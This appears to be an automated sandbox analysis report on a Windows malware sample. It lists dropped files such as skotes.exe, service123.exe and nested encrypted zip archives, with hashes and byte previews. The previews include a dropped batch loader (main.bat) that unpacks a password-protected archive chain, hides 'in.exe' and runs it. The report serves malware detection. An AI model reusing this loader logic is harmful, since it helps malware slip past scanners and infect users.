Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... H.. ...`....@.. .......................`H......(....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... . ,..........8..............@...yxtglqzl.@....,..>...:..............@...ovmlmqjr. ....H......x..............@....taggant.@... H.."...\|..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2956800
Entropy (8bit):	6.5597341947805035
Encrypted:	false
SSDEEP:	49152:wGstuxWdykCVE3Fy24U9w7mc00C+btuN37rhE9cMXRDv6rhMCHw:wqookCVE3Fy24Mwic0ybtuVXhE9ZhvWd
MD5:	3A61C20A67DE482B185AB4698AA6B4E1
SHA1:	50A864A95715C5167DA337DC608D53394972DA42
SHA-256:	3F09A04EBFC36B65298065E9B7DE36A1F6E7ACB77DA56DDFF650E7BF808EF976
SHA-512:	338A299FA4EEE138DD007729F6613BE90834B5AD447DFC8E02BF152DCD379A574726C632A8690673F4EE06AF8052D78EC08CC2724EDC574A1BEF6B3F3E733922
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....p.-...@.................................W...k...........................\|.0.............................,.0..................................................... . ............................@....rsrc...............................@....idata ............................@...osemtlkq..........................@...fqwpihld......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.054355404265247424
Encrypted:	false
SSDEEP:	24576:mV6EnBO/3Tjg05rfKYlxxQN3QAJhUCwW5nfnI0fIgVHt5JlBVE:dvZAfWW5ntf1VN5JlBVE
MD5:	633D2EA87075AF056EA448199D1B6B51
SHA1:	ACBA5B51C8CE89F7461E8E78785028E090133E71
SHA-256:	0259D4106A6068D299FADD3FC9B7AA2116BBDF70DDA1EAED55C8CA3826C75999
SHA-512:	6EE5B2A17B3901388B7B1C34D04A722214C4452D93A11111AF167B99FCC6AE84A07FC0126F63B5F8F439D538BC33174FF7C6FDF94589714B56360BAA82A3EF0D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...bT`g...........#...(..........................0m.........................@............@... .........................`.......................................Hz...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..............................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..Hz.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Reputation:	unknown
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Reputation:	unknown
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Reputation:	unknown
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405885373275906
Encrypted:	false
SSDEEP:
MD5:	110FE44D33E426703CD712E879D34CBC
SHA1:	F7E396874328BA5813FE846DF4DB08A0AE8C7827
SHA-256:	3887BC25C5F53AA834C4277D5FF6DAC4F0B5B04C86C341095A5BF46F9EA150A4
SHA-512:	14C40AAD78EA18D08E3B5792EA55B6A7724907AA41D541DCBE960329C875426BA45C9C43607C67CFC8E87F14CD2EC004942E50EF5D3CE84E71EC3427DC4DD679
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...XT`g...............(.v........................@.......................... .......W....@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:
MD5:	B225DEAE92B395685638F80F722BD575
SHA1:	0680D43F0BA78808EC33D2025709E338E1D904BF
SHA-256:	389C30BACDDA504C9F7CEF0B3A9AA2A443FBA57F625BC7830D5892AD78A80135
SHA-512:	39226BBDD19A040E7F8AB61A144EB160467EA12505FB1D112F6258B0A293B49CDD4517079009CF13407B794DFEA9D0FEC913AC8CFE2DC7B6FAC6645BB6FB5114
Malicious:	false
Reputation:	unknown
Preview:	..-.....................n.:........l.o........-.....................n.:........l.o..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03975239513986009
Encrypted:	false
SSDEEP:
MD5:	4E0A144B869BC9DAA0298893A7D6D90F
SHA1:	C9C31A078BA095786FAFC1081E88EAA46DD5E526
SHA-256:	3F18DEB8655E34279D6309749E0D1130C413F611DBAE2B3D0D86B571F9934B65
SHA-512:	0D033F79D41B75A6B07F31A8D4A72EBA5AFE79DEC78F5CF3089750B40EEC1D78B041E8DCF3CF129E68500AE4556B9CADBFC46FDF89178CB099513EF7488E3FF2
